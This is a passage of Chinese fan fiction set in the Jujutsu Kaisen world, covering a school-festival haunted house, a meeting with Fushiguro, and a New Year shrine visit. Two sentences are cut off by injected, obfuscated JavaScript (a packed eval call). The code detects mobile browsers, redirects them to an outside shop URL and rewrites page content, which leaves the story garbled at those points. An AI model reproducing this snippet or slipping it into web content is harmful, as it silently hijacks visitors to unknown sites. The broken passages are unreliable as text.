带上小推车果然是正确的选择。
他们在附近的书店碰到了小泽优子,她在开学第一天坐在他们旁边、并写下如何照顾小猫的便签纸送给了他们。
她似乎没有什么朋友,平日里总是独来独往。她透过玻璃看到了店外的男孩子们,虎杖悠仁向她挥手打招呼,得到了一个微小又迅速的点头回应。
也许她就是喜欢一个人安静地待着呢,虎杖悠仁曾天真地这样想过。但这并非事实,她所遭遇的事是如此普遍地在所有人身边发生着,每时每刻、每分每秒。
人似乎总在追求某种认同,生活在群体中就会不自觉地进行自我同化,修剪自我的枝条。这样的追逐是可怕的,当人们得到了可以自我满足的认同感后,久而久之就会将自己视作群体的一部分。
这样当然能够活得很好,当一个群体足够庞大、也足够坚韧,它能为个人提供维持生活的一切材料,包括精神和肉|体。
小泽优子是个身材偏胖的女孩子,健康,而且很爱干净。
群体有的时候非常排外,用“相同”来确保待在群体中的舒适性,也避免了争吵可能带来的分歧,尽可能维持这个庇护所能够继续存在。这是基础中的基础,和生存本能同理,所以哪怕明白遭到排斥的理由也无法将矛头指向群体,无论是觉得自己无力改变又或者觉得没有意义,大多数被排斥者要么沉默地消失在群体外的角落,要么选择修剪自己的形状。
决心反抗的人究竟拥有怎样的勇气呢?
虎杖悠仁收回目光,乙骨忧太正在看马路对面的宠物服装店。
小猫长大的速度太快,也不喜欢继续窝在他们的房间里,经常在教会的各种角落里溜达,枷场菜菜子说它已经完全变成一只野猫了。虎杖悠仁将猫爬架和食盒放到了外面,给它添加的猫粮偶尔也会被松鼠或者其他路过的小动物享用,不过猫咪看起来并没有完全失去自己捕猎的能力,乙骨忧太说有一次他看见它叼着一只老鼠路过训练场。
只是他们专门为它准备的互动玩具和各种小衣服之类的彻底派不上用场了,尽管它仍会回应他们的呼唤,用毛茸茸的脑袋和不那么干净的毛蹭他们的小腿,但想要让它乖乖待在人类的怀里套上衣服,那是万万不可能发生的事了。
大概是一种习惯,乙骨忧太在路过宠物服装店的时候仍会下意识地关注货架上的新商品,等意识到已经用不上的时候才会尴尬地挪开目光。
“走吧。”虎杖悠仁拍了拍乙骨忧太的手臂。
“嗯。”乙骨忧太轻声应道。
习以为常的事物规律被打破,尽管一时难以适应,但乙骨忧太想总有一天他会接受这样的改变时时刻刻发生在自己的身边吧。
他悄悄凝视着虎杖悠仁,少年的脸上藏不住心事,偶尔也会露出与往日截然相反的沉思表情。他必须学会接受,他只能学会接受。
“你在想什么呢?看得这么认真......”虎杖悠仁有点不好意思地提醒乙骨忧太他的目光太过露骨,简直就是在明目张胆地凝视,被盯住的地方汗毛都竖起来了。虎杖悠仁对这样的视线很敏感,他能轻易地根据第六感分辨出扫过自己的视线究竟是无意还是有意,凭感觉转头和视线的主人对上眼神的时候经常会把对方吓一跳。
“没什么,”乙骨忧太转移了话题,“我在想怎么扮鬼更吓人一些。”
他们班的文化祭主题是鬼屋,自然要选出一些人来扮作NPC增加恐怖氛围,不知为何乙骨忧太高票通过成功当选。除了NPC之外,其他人都被分配到了准备制作材料的任务,虎杖悠仁拉着乙骨忧太一起出来买的黑布就是其中最重要的东西之一。
“可能是因为你不笑的时候真的很能唬人?就是那种不苟言笑的冷面杀神,遇到人二话不说拿起刀就是砍,唰唰唰——”
虎杖悠仁绘声绘色地描述着,手中比出握着刀的模样。训练的时候乙骨忧太认真起来的模样真的很有压迫感,他的长相其实不是特别有攻击性,毕竟长着一双圆圆的下垂狗狗眼嘛,笑起来甚至老实又无害。但是不笑的时候,尤其是被黑色的瞳仁死死紧盯着,仿佛被死神锁定了一般无法逃脱,会下意识地让人觉得自己求生无门,想象不到从他手中逃脱的模样。
这是只有虎杖悠仁和其他术师才体会过的威慑,对于他们班的其他普通同学来说,大概就是觉得乙骨忧太身上偶尔会散发出一种忧郁又阴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378200|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉的气质,虎杖悠仁不在的时候去找他搭话就是这种感觉,尽管其实本人并不难相处,但这种印象已经在不知不觉间变得根深蒂固。
纯粹的黑发黑眼配上时而明显一些的黑眼圈,如果再加上一些灯光效果氛围的烘托,任谁在一片昏暗的环境中见到他都会被吓一跳吧?
策划人想要的应该就是这种效果,她甚至想要征求一下乙骨忧太的意见给他化个妆,比如把脸涂得再白一点,最好面无血色的那种苍白,到时候再在脸上溅上点人造血浆......
“超完美!”
被按在镜子前坐了半个小时的乙骨忧太看着陌生的自己,和被提前告知化完妆可能会有的效果一模一样。
“脸好白......其实在黑暗的地方完全看不出来的吧......”他闭着眼睛接受了这个形象,坐在这里的大部分时间其实都在被鼓捣头发,原本自由自在翘着的发丝被喷上了发胶向下梳好定型,把额头露了出来。
可惜“化妆师”已经完全沉浸在自己的艺术里了,超兴奋地说:“更阴暗了!就是这样!!”
“忧太,你化完了了吗?”虎杖悠仁敲了敲门,探头进来,被调侃说“只是分开了一会儿而已就等不及了吗,你们简直就像连体婴一样啊”,他只是毫不在意地笑着应付了两句之后就将目光定格在了乙骨忧太的新妆造上。
方才还能坦然说自己能够接受化完妆的自己的乙骨忧太突然觉得有点紧张。他有些小心翼翼地看着虎杖悠仁的反应,有一种望着天等待珍贵又易碎的宝物从天而降,必须时刻绷紧神经用轻柔的力道接住它们一样的感觉。
虎杖悠仁一个箭步冲了过来,一下子凑得太近,但是因为他们太过熟悉所以乙骨忧太下意识没有躲开。粉发少年小时候对自己冲过来的力道没有很好的认知时,他们就这样完成过很多个拥抱。
乙骨忧太能够看到他的睫毛。
“好帅——!忧太,这个发型好帅啊!”虎杖悠仁两眼放光,手已经摸到了自己的头发上,试图将自己的一头小短毛也压成这个样子。
显然他是没办法做到的。
“真的?”乙骨忧太稍微向后退了一些,侧过身子再一次正视镜子里的自己。
“......完全不像是我自己了呢。”他还是对此保持怀疑的态度,越看越别扭,就和盯着某个汉字或者平假名看得久了会发现自己突然好像不认识它了一样。
虎杖悠仁向他竖起大拇指,笃定地说:“超级帅气!!你要对自己多点自信啊忧太!”
“虎杖说得对,”已经将化妆工具收拾好的女生准备离开,将这个小杂物间留给男孩子们换衣服,“别忘了给乙骨的脸上加点血浆,我先走了。”
虎杖悠仁把衣服交给乙骨忧太,病号服让这张苍白的脸显得不那么突兀,在乙骨忧太换衣服的时候,虎杖悠仁站在门外帮他看门。走廊里都是忙碌着做文化祭活动开始前最后准备的学生,他们班的主题虽然是鬼屋,但教室外的墙面也不能光秃秃的什么都没有。
负责布置会场的人精心准备了与主题相符的装饰,虎杖悠仁靠在墙上,走廊上被提前挂上了很多色彩鲜艳的文化祭棋子,饱和的颜色让他们班附近黑暗的氛围更加瞩目。女孩子们正在分配传单,她们一会儿要去校园里为自己的班级活动做宣传。
NPC是轮班制的,乙骨忧太过了中午就能下班了,虎杖悠仁也选择上午留在活动场地里帮忙。比如负责打着手电把在通路里迷路的人送出来之类的,班长说他就算把手电筒放在下巴上装神弄鬼也没什么太大的威慑力,另有一些七七八八可能发生的紧急情况也交给他和其他保障鬼屋正常运行的同学们一起负责了。
“怎么样?”乙骨忧太站起来走了两步,待会儿他的任务就是坐在一个被精心调整过角度的小空间里,周围会有蓝绿色的荧光灯带烘托氛围。
虎杖悠仁拿起那瓶小小的人造血浆晃了晃:“在那种光线下根本看不出来血迹的颜色吧?”
乙骨忧太也觉得肯定会变成黑色的,所以他觉得只在嘴角抹一点就好。
“她有说额头也要哦。”虎杖悠仁示意他赶快坐回座位上抬起头。人造血浆没有什么特别的味道也很好清洗,虎杖悠仁在乙骨忧太的脸上按照自己的喜好创作了一番,该涂的地方都抹了点,站远了之后初看觉得很满意,现在的乙骨忧太完完全全就像是一个冤死在精神病院的冤魂。
但是。
他微微蹙眉扯着嘴角笑了一下:“超有感觉的。”
他也不想让自己总这么敏感又自作多情,但他应该绝对不会亲自体验这次的鬼屋了。哪怕知道只是假的血浆和特意准备的道具,他还是不太能够接受在精神紧绷的时候看见这样的乙骨忧太。
不该是这样的,明明只要知道是恶作剧就不该有这种过激的反应,可虎杖悠仁却难以自控地感受到了徘徊在周围的恐惧。
绝对会被吓到心脏骤停吧?
乙骨忧太看出他的表情不对劲:“悠仁......”
过来提醒他们要赶快去活动场地准备的人打断了即将开始偏移的氛围,虎杖悠仁率先走了出去。
乙骨忧太跟在他身后,盯着后脑那处色差明显的分界线,沉默着没有说话。
62. 第 62 章
独自保守秘密的感觉并不好受。虎杖悠仁总会升起一种强烈的冲动,想要将妈妈和他说过的一切都对乙骨忧太和盘托出,每每这时理智总会让他安静下来,独自平复被不上不下卡在中间的情绪。
他不想变成别人的提线木偶去做自己不想做的事,哪怕那个人是自己的妈妈也如是。
听妈妈的话......只要那个人还在这个世界上存在一天,这样的束缚将永远会像影子一样无法分离,哪怕高高跃起、双脚离地,总有一天还是会落下来,重新和影子连在一起。
因为被要求“不能将他们之间的事说出去”,所以连向夏油杰或者伏黑惠询问束缚相关的事情都做不到。虎杖悠仁想说,大脑就会向他发出“即将得到惩罚”的警告,一切以“告知”为目的的行为,包括转述或者书写都会被纳入束缚的范畴。
妈妈显然是比他成熟太多的咒术师,在玩弄言灵的方面炉火纯青。
在文化祭活动开始后,陆陆续续有学生参与体验了他们班级准备的鬼屋,虎杖悠仁待在被架起的黑布围成的通道外一小块角落,方便进出。胆小的人发出尖叫,这足以证明这个自制的鬼屋拥有足够吓人的恐怖氛围,偶尔也会听见某个NPC一时兴起自由发挥,发出连声怪叫恐吓经过的学生。
乙骨忧太坐在自己的专属位子上。通道故意设计得很狭窄,只够一人通过,行走的时候两侧的手臂能够感受到黑色布匹绒绒的触感,会有专门的人从特意留出的孔洞里将羽毛之类的东西伸进来扫过体验者的手臂,或者用道具向经过的人吹气。
当然有因为场地面积很小、为了尽可能拉长体验时间而故意设计的因素在,不过这样狭窄的通道也让一个个惊吓节点出现得猝不及防。尤其是乙骨忧太坐的这个地方。
他进来之后才发现这里的荧光灯居然是定时开关的,而且间隔时间极长。也许有人一转过来正好碰见灯亮起,也许有人已经走过了一些,突然发现自己身边亮起了灯,还坐着一个满脸鲜血、穿着病号服的家伙,几乎没有人能够避免在这里被吓一大跳。
因为惊吓效果远超预期,所以乙骨忧太就保持原样,安静地坐在了原地没有再准备加上点别的手段继续吓唬人,比如突然从课桌拼成的停尸台上滚下来在地上爬着追人之类的行为。
毕竟他们年龄摆在这里,会有一些奇思妙想也是很正常的。
虎杖悠仁有些无聊,为了避免穿帮所以他们这些后勤保障人员也不被允许使用手机。活动进行得很顺利,除了有一个人因为被乙骨忧太吓得厉害,向后退的时候不小心踩倒了一个架子之外,再没发生过其他的问题。
这个小插曲让鬼屋的开放暂停了一小会儿,虎杖悠仁很快就将架子扶了起来,把黑布重新挂好。
他走到门口去告诉其他人里面已经准备好可以再次开放了,一抬眼居然在走廊里看到了一个熟悉的黑色海胆头。
“诶?这不是伏黑嘛!好巧啊!”虎杖悠仁猛地睁大了眼睛,跳起来向他招手。
“虎杖!不要擅离职守......啊、这是你朋友吗?”门口的同学刚想让他赶快回到场地里去,见到伏黑惠身上不属于他们学校的校服,也就大方地放虎杖悠仁去找朋友了,自己进去替他。
“谢谢啦!”虎杖悠仁谢过好心的同学之后,凑到了伏黑惠的旁边。学校的文化祭除了本校的学生们可以参加之外,同样欢迎外校的学生,也鼓励孩子们带着家长一起来体验。
伏黑惠也觉得太巧了:“你们居然在这个学校吗?”
他只是被打发到东京这边祓除一个低级咒灵,因为和辅助监督约定的时间还早,路过这附近的时候鬼使神差地走了进来,手里一下子被人塞了很多传单,大概是看到他外校的校服了吧。
他发誓选中这个鬼屋没什么特别的原因,只是因为它的传单在最上面而已。
“你们今天没有上学吗?”走廊上人太多了,虎杖悠仁带着伏黑惠走到了开水间附近。
“我又不准备考高中,偶尔缺席没关系的。”
虎杖悠仁敲了敲拳头:“对哦,你以后要去高专的对吧?不过你还没有入学就开始执行任务了吗?这算雇佣童工吗?便利店都不会允许我这个年纪过去打工的啊!”
伏黑惠点头,向外张望了一圈,问道:“倒也不算,至少我有酬金。乙骨前辈呢?”
“他在里面哦。”
伏黑惠眨眼:“他去当NPC?”
他们说话期间,教室里传来了一阵尖叫。虎杖悠仁冲着那个方向歪歪脑袋,带着点莫名的自豪说:“绝对是今天鬼屋最大的卖点之一喽。”
他这副炫耀的姿态看得伏黑惠狠狠露出嫌弃的表情:“你这炫耀的语气是怎么回事?你出来这么久没关系吗?”
“本来也快到了该换班的时间了,”虎杖悠仁看了一眼时间,“津美纪姐姐知道你逃课吗?”
伏黑惠额角冒出十字:“我有正经请假......我没和她说。”
他看到虎杖悠仁的表情突然颓丧了起来,这倒是太少见了。
“......怎么了?”
粉发少年在脸上抹了一把不存在的眼泪,一副“你真是太不容易了”的表情拍着伏黑惠的肩膀:“伏黑哥!你是怎么做到面不改色骗人的啊?不,也不能说是骗人,只是在面对亲人的时候怎么将秘密藏起来啊?想说又不能说的感觉太难受了!”
伏黑惠的神情变了又变,他好好端详了虎杖悠仁一番,觉得自己已经看穿了一切:“因为我本来就没想说,所以不会有负罪感。不过虎杖,我觉得如果你......你觉得他怎么看?住在一起的话,至少能够感觉到一点对方的态度吧?乙骨前辈又不是什么特别迟钝的人。”
很好,看起来他终于开窍了。
虎杖悠仁的表情凝固了一些,说话的语气也不再随随便便:“我觉得他还不知道。有的时候我觉得他不知道也挺好,因为自己都不知道该怎么办,何必再让他替我担心。”
不应该啊,伏黑惠暗自思忖。
“虎杖,”伏黑惠正色道,“你不觉得乙骨前辈也有事情瞒着你吗?”
虎杖悠仁:“......你也这么觉得?我还以为是我的错觉,最近这段日子我们之间简直就像什么都没发生过一样,越是这样我越觉得他有什么事情在瞒着我。”
他略过了为什么最近没见过乙骨忧太的伏黑惠会产生这样的感觉,只觉得自己的直觉得到了印证。
果然,这样就说得通了。乙骨忧太表现得甚至比虎杖悠仁还要明显,伏黑惠的目光停在了粉发少年的胸口,那处有别于他自己的咒力虽然微弱,但只要集中注意力就不难发现它的存在。
首先要排除乙骨忧太只是无意识这么干的,如果他在认识到自己的心意这方面真的比虎杖悠仁还要迟钝......不,应该说连虎杖悠仁会陷入这样的愁绪当中,乙骨忧太不可能对此一点都没有察觉。
“直接和他说呢?我觉得你们应该都不会是在意年龄的类型。”中学二年级的确有点太早了,但伏黑惠又不是什么固守成规的人,这种你情我愿的事情他也没有替某一方拒绝的权力。况且,这难道不该是一件特别幸福的事吗?
他觉得哪怕是再小、再短暂的幸福都值得他为之庆贺。
虎杖悠仁不解:“我想这应该和年龄没什么关系?而且,我就是因为不能说才觉得烦恼啊!”
怎么绕来绕去问题还是出在虎杖悠仁身上啊?
伏黑惠叹了口气:“我想不通你为什么不说。”
“就、因为各种各样的原因......”虎杖悠仁说不出来了。
最终这场谈话也不了了之,原本只有虎杖悠仁一个人在烦恼,这下子将伏黑惠也扯了进来,烦恼加倍。
“算了,反正以后你们的时间多得是,”伏黑惠不再深究虎杖悠仁为什么不可能说的原因,“我去你们的鬼屋里转一圈,一会儿我也要回学校了。”
“太惨了伏黑,工作之后还要回去上学吗?”虎杖悠仁仿佛整个人都失去了活力,拖着脚步将他送进了鬼屋的大门,趁着开门的机会和替他值班的同学换了回来,准备坚持到换班时间。
伏黑惠倒是觉得还好,因为未来有了去处,学习的唯一目的就变得纯粹了许多,不用背负压力而是单纯地吸收知识,对他而言是一种放松,可以让他从咒灵与诅咒的世界里短暂地逃出来一会儿。
鬼屋里的环境虽然昏暗,但对于伏黑惠来说并没有特别吓人。简单地用咒力强化眼睛就能够看得更清楚,不过在这种小事上没有必要这么做。沉浸式体验感也很重要。
他在第二个转角碰到了兢兢业业扮演诈尸的精神病人的乙骨忧太。
因为前后没人,所以他直接向他打了招呼:“乙骨前辈。”
“这个声音......伏黑同学?”乙骨忧太看到了他标志性的炸毛。
碍于现下并不是继续对话的好环境,伏黑惠只能言简意赅地帮他的朋友们做最后的努力:“我刚才碰到虎杖了......乙骨前辈,我觉得如果你有什么想对他说的,就直接告诉他吧。他最近似乎为了......你们的事很烦恼。”
“诶?我们的事?”尽管一时间没有立刻反应过来伏黑惠说的是哪件事,但乙骨忧太还是谢过他的好意提醒。
坐上辅助监督的车之后伏黑惠就开始后悔自己冲动地参与到了他们之间的事里去,结果他反而因为这件事变成了最烦恼的人,被五条悟把话套了出来。
“然后你就这么冲上去和忧太说‘请你一定要好好将自己的心意告诉他’,这种感觉吗?真少见啊惠,没想到你还有这么冲动的时候——”
“我才没这么说好吗?!请不要随便脑补我的话!”伏黑惠单手捂着脸,有点懊悔地坐在沙发上,和身边大大咧咧靠在椅背上的五条悟形成了鲜明的对比。
“我让你多关注他们不是让你留意孩子们的感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378201|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情问题啊。不过,真的假的?他们才上中学二年级吧?这个年纪算是早恋?”
伏黑惠看了他一眼,五条悟当即否定道:“越封建古老的家族在这种事上越开放哦,虽然自由恋爱是基本不可能的啦,但是比你们还小就已经结婚生子的也是大有人在,尤其是那个禅院和加茂,虽然最近已经好多了......”
反正没人敢撮合五条悟。
“......其实也不算盖棺定论,毕竟我没从他们两个人任何一个的口中真的听到什么,就当我乱猜的吧。”
“哼哼,好吧。”五条悟一边用手机回复着信息,一边改口问道:“你说他们的学校叫什么来着?”
伏黑惠将学校的名字重复了一遍。
如果他现在站在五条悟的身后就能看见他的手机屏幕上不是什么聊天框,而是一张东京的电子地图。
两个点被标注了上去。
“嗯......嗯哼。”
伏黑惠问:“有什么问题吗?”
五条悟用单指拨弄着屏幕,除了发出意义不明的语气词之外脸上看不出任何表情变化。在伏黑惠叹气之前他终于开口:“没什么!”
“惠啊,”他收起手机,用与平常无异的、略带着点随意和笑意的语气说,“最近不会再给你其他任务了,多去找悠仁他们玩吧,难得有个同龄人能和你说得上话。约他们出来也好,过去找他们也好,要是需要和老师请假的话就来找我。”
伏黑惠从中听出了点不同寻常的意味:“所以五条老师你还是想让我劝他们来高专吗?”
人高腿长的成年人站起身,有种脑袋快要顶到天花板的错觉,居高临下地说:“不不不,这可不是任务,这是你们的青春啊!年轻人就该享受青春才对,想要执行任务的话等你进了高专就会想念现在的清闲日子了,总之,要加油啊,惠。”
所以五条老师还是这么想的,但这种话里话外不肯直接暴露自己的目的,如此拐弯抹角地表达的意义究竟是......?
“五条老师,你也有秘密瞒着我吗?”
五条悟在伏黑惠脑袋上呼了一把,翘着嘴角离开了:“这是大人的事,不是所有不能说的事情都是秘密啊。”
伏黑惠试图躲避,但是五条悟手速太快根本躲不开。胡乱整理了一下根本没乱的头发,关门声响起,在伏黑津美纪放学之前,他可以拥有一段不会被人打扰的独处时间。
他学着五条悟的样子向后靠在沙发背上,整理着脑海中的思绪。
为什么会突然变得冲动?以他和虎杖悠仁他们的交情,应该熟悉还没到可以随意插手别人感情问题的程度。可能是因为虎杖悠仁与乙骨忧太在他的心里都是特别纯粹的人吧。
伏黑惠不怎么信任其他人,刨除咒术师与非术师之间无法逾越的鸿沟,他觉得就算自己不是咒术师大概也会活得和现在没什么区别。消极地看待问题,不信任他人也不信任自己,即便如此他也有想要让其获得幸福的人。
他能看出他们拼命生活付出的努力。
那是一些连当事人都不可能察觉到的微小细节,散落在言谈举止之间,只有一直在看着他们的伏黑惠发现了。
简直就像是在海边从混杂着各种矿石砂砾的沙滩上找到一颗真正的钻石一样困难。
伏黑惠叫出了玉犬,大狗狗们窝在他的身边,看着主人打开了电视机的新闻频道,也学着他的样子安静地看着电视。
结束自己班次的虎杖悠仁和乙骨忧太在午饭时间终于可以休息一下,等乙骨忧太在盥洗室洗掉了脸上的装扮和人造血浆,虎杖悠仁已经端着两份章鱼丸子等在门外了。
他的嘴里还塞着一颗,但是因为太烫了不得不再让那颗丸子在自己的嘴巴里翻炒一番:“好烫烫烫烫——”
乙骨忧太赶忙接过他手中的一次性托盘:“你也太着急了啦!”
虎杖悠仁感觉好了很多,叽里咕噜地说:“因为我饿了,而且闻着真的很香。”
他含混不清的声音让乙骨忧太笑了出来。隔壁班级选择的主题和食物有关,不知道怎么搞了全套的机器过来直接开火现场制作各种小吃,香味顺着走廊飘到了已经饥肠辘辘的虎杖悠仁鼻子里。
他们顺着人流走,决定凭感觉选择一个吃午饭的地方,或者干脆用各种小吃填饱肚子也不错。
“伏黑同学已经走了?”乙骨忧太问。
“他说下午还要回去上课,不过要我说他肯定会翘课的啦,可能直接回家了,”虎杖悠仁扒拉着盘子里的丸子,让它们均匀地沾上酱汁,“真巧啊。”
“这样。”乙骨忧太还想着伏黑惠和他说的话。“我们的事”究竟指的是什么呢?悠仁在为之烦恼......他们最近的相处很正常,可正因如此也让乙骨忧太觉得他们只是默契地避开了可能会发生争吵的触发点,不让分歧有产生的可能性。
他看着有说有笑的虎杖悠仁,决定继续保守自己的秘密。
63. 第 63 章
“虎杖,你抽到什么了?诶!是大吉!超幸运的!”
新年初诣,同学们邀请了虎杖悠仁和乙骨忧太一起去学校附近的神社求签。男生搂着虎杖悠仁的脖子,其他人都在交换着看别人手里的御神签,看到他手里的大吉之后兴奋地喊了出来。
“虎杖也是大吉?”
“我是大凶!这个还能重新抽吗?不要哇——”
乙骨忧太排在虎杖悠仁后面,现在正在求签,搂住虎杖悠仁的男生忽然悄咪咪地和他说:“喂虎杖,你喜欢詹妮弗·劳伦斯对吧?我姐姐从美国带回来了她的海报,超级辣的那种,你要吗?”
虎杖悠仁下意识地拉低声音:“真的吗?!真的送给我?”
“嗯——我想想,要不然你来参加棒球部吧!”
“我比较喜欢清闲一点的电影同好会啦~”
“没关系,我只是随便说说而已,下个学期开学我带给你,”那个男生说,“就当做你上次帮我的谢礼了。”
虎杖悠仁眨眨眼睛。
“悠仁,”乙骨忧太站在后面唤他,“我们去挂绘马吧。”
“喔!我来了!”虎杖悠仁轻松地转身,和男生说:“那多谢啦!”
他快走两步跳到了乙骨忧太身边,探头探脑地想要看乙骨忧太手里的御神签抽到了什么:“给我看一眼嘛!”
乙骨忧太故意将御神签捏在手里绕开他,像是制止一只热情过头了的粘人狗狗一样推开他的脑门:“刚才你们在说什么?”
“没、没什么啦。”虎杖悠仁脸颊有点泛红,看起来像是被冬日的寒风吹红的,但只要将手放上去就能感受到热意。
乙骨忧太显然不满意他这样的回答,闭着眼睛不看他亮闪闪的眸子。
那个男生在放学的路上偶然被混混们堵住,差点就成为了下一个被欺凌的人。虎杖悠仁觉得自己已经把经常在学校周围游荡的不良们揍遍了,可他们就像雨后春笋一样会一茬一茬地冒出来。
明明他们学校附近的治安环境很好,可这样的事还是一直不断发生着,仿佛已经成为了一种人尽皆知、与日升月落无异的自然现象。
“他说要给我詹妮弗的周边作为谢礼,”虎杖悠仁哽了一下,“我不会贴在房间里,但那是签名海报诶!”
这次他如愿以偿地看到了乙骨忧太抽到的御神签。
“果然也是大吉!我就感觉你也会是大吉,我的第六感最近很准诶!”
薄薄的签文纸上写着大吉,虎杖悠仁没有仔细看其他的字,拉着乙骨忧太去绘马架旁边排队了。
乙骨忧太被动地被他拉着走。这个冬天的雪很大,比往年要多上不少,可初诣这天却晴空万里,没有飘雪的迹象。
尽管太阳很足,但显然还是冷空气更胜一筹,寒风很快便吹走了由日光带来的热量,乙骨忧太不得不将围巾继续向上提起来围住脸颊。
“你很冷吗?”虎杖悠仁回头问道。
他说话的时候有白色的哈气送嘴巴里跑出来,一团团的白雾在消散前勾勒出了风的形状,乙骨忧太摇摇头:“还好。”
他穿得足够暖和,还有咒力可以帮助他维持自己的体温。东京的冬天对他来说并不是特别难熬。
“把手给我吧!”虎杖悠仁扯下了自己的手套,侧着头将手伸了出来。
见乙骨忧太还愣在那里,他笑着解释道:“以前不就说过吗,冬天的时候会帮你暖和起来。”
握上去的时候,乙骨忧太第一反应是觉得虎杖悠仁正在紧张。掌心的肌肉有点紧绷,在他触碰到的瞬间收紧,然后又被主人强制性地放松了下去。
温度在两个人的皮肤之间传递着,这种热量甚至让乙骨忧太觉得有点烫人。
虎杖悠仁握着他的手塞到了自己的口袋里。
“这样就好啦。”
好烫。
他们挨得极近,听着羽绒服摩擦时发出的声响,挤走了隔在他们之间的空隙。
挂绘马的架子围在一棵很高很高的古树周围,斑驳干裂的树纹能够讲述它所经历的漫长岁月。虎杖悠仁高高扬起头,耳边全是绘马被风吹动时相互敲击发出的清脆木头声。
古老而高大的树冠空荡荡的,捆绑在树干上的注连绳下方呈现出青绿色,有麻雀站在绳子上叽叽喳喳地歇脚。
这景象恍若昨日,可不同的是周遭除了绘马的声音,同样人声鼎沸。
虎杖悠仁用空出来的那只手挨个拂过承载着不同愿望的绘马,上面的笔迹各异,只是扫了一眼他就看到有高中生许愿考上心仪的学校、有病人祈祷自己能够战胜病魔、有人祈求自己能在未来遇到与自己合拍的恋人。
这些愿望太过美好,虎杖悠仁抚触着木刻光滑的表面不由自主地笑着。
乙骨忧太目不转睛地望着他。
粉发少年的笑容比冬日的太阳更加温暖,散发着温柔的热量,让人不自觉地想要靠近,心甘情愿地被吸引。
他们就这样紧挨着一起穿行在绘马架之间,悄悄欣赏着不同的人生与他们的烦恼、喜悦,偶尔还会遇到在绘马上秀恩爱的情侣,虎杖悠仁捂着眼睛又悄悄从手指缝里向外看。眼神游动的时候,他瞥见了同样红着脸的乙骨忧太。
黑发少年彻底改变了自己的发型,似乎从文化祭之后他的头发就变得听话太多,再加上不常修剪让它们越来越长,现在哪怕不用发胶定型也能保持和当鬼屋NPC时差不多的样子了。
虽然班里的风纪委员总是盯着他的头发发出咬牙切齿的声音,但是乙骨忧太觉得这样挺好。
他们各自买了绘马,在寒风中用有些僵硬的手指写下了想要向“神”诉说的愿望。他们写得很快,不约而同地抬起身时望向了对方手中的绘马,看到了相同的祈祷之语。
平安顺遂,幸福安康。
这不过是和千千万万个书写在绘马上的愿望同等微小的祈愿,甚至因为写下这些文字的人并不是真的相信有神存在而变了些味道,但期盼这份愿望能够成真的心情却绝对不容忽视。
虎杖悠仁不是想要向“神”请愿,如果硬要说的话,应该是想要向自己许愿吧。
乙骨忧太大概也是同样的心思。
他们随便挑了一个地方将写好的绘马挂了上去,没有留下名字。来年这些绘马会被其他人的愿望藏在下面,还是被烧掉献给神明呢?
社务所的柜台里摆放着各种御守,虎杖悠仁弯着腰挨个看了过去,最终选定了祈求所有心愿都能够达成的御守。乙骨忧太选择了除厄守,看旁边的说明牌似乎拥有可以祓除灾厄、避免灾祸的作用。
祈本里香曾经送给虎杖悠仁一个小小的御守,它被很好地和这些年他们给对方拍的照片保存在了一个盒子里,当做女孩留给他们最后的遗物。她的灵魂前往极乐成佛之后收走了留给乙骨忧太的戒指,却没有一起带走这个御守,对男孩子们来说也算是一种慰藉,毕竟他们拥有的关于女孩的遗物除了留存在大脑里、时时刻刻都在褪色的记忆之外,也就只剩下这个御守了。
“等到来年开春,我们再去看看里香吧,”将买来的御守收好,虎杖悠仁再一次主动拉起乙骨忧太的手放进了自己的口袋里,边走边说,“现在太冷了——”
“嗯。”乙骨忧太回道。
这次可以带一些别的花去看她。
和一起来到神社参拜的同学们告别,他们回了一趟家取走了一件包裹,又一起去到了附近的邮局。乙骨忧太将准备给妹妹的新年礼物寄了出去,女孩现在也准备要上初中,有了自己的手机,一直和乙骨忧太保持着联系。
他同样雷打不动地给父母也寄去了信件,但女孩曾偷偷告诉虎杖悠仁说爸爸妈妈从来没有打开过那些信,并叮嘱他绝对不要告诉哥哥。女孩大概也为向乙骨忧太瞒着这件事而感到困扰,所以才选择向虎杖悠仁透露这个秘密来换取一个情绪出口吧。
“我想让他们变回原来的样子,但是长得越大越明白这件事已经不可能了,所以......”女孩有一次趁着乙骨忧太去帮他们取餐的时候偷偷和虎杖悠仁说道。
这也是无可奈何的事,在狠下心决绝断绝了这段关系的成年人面前,孩子的执着与恳求也只是无谓的哭闹,甚至会因为这样幼稚而令人烦躁的举动受到更加严厉地批评。
虎杖悠仁不希望女孩就这样接受了现实,他看得出她非常想要继续维护父母和哥哥之间的关系,但......哪怕是他也无法说出让女孩继续努力的话来。这对她来说代表了太大的压力,更何况这本不该是她的责任。
可是要让他劝说女孩接受现实,他也觉得这样做太过残忍。
这世上最令人抓心挠肺、痛苦万分的大概就是明明自己看似有能力做到却实际上无能为力的时候吧。
好在现在乙骨忧太的妹妹拥有了更多自由活动的时间,她可以随时跑到东京来见哥哥,只是乙骨忧太总会将见面的地点约在东京的各种商店街和好玩的地方,避免妹妹太过靠近教会。
虎杖悠仁觉得这个世界总像是秋天东京的天气一样,一阵冷一阵热,也许中午还觉得天气舒适得让人心旷神怡,晚上就会因为骤降的气温连打好几个喷嚏。
让人一会儿喜欢,一会儿讨厌。
教会里的人变多了。
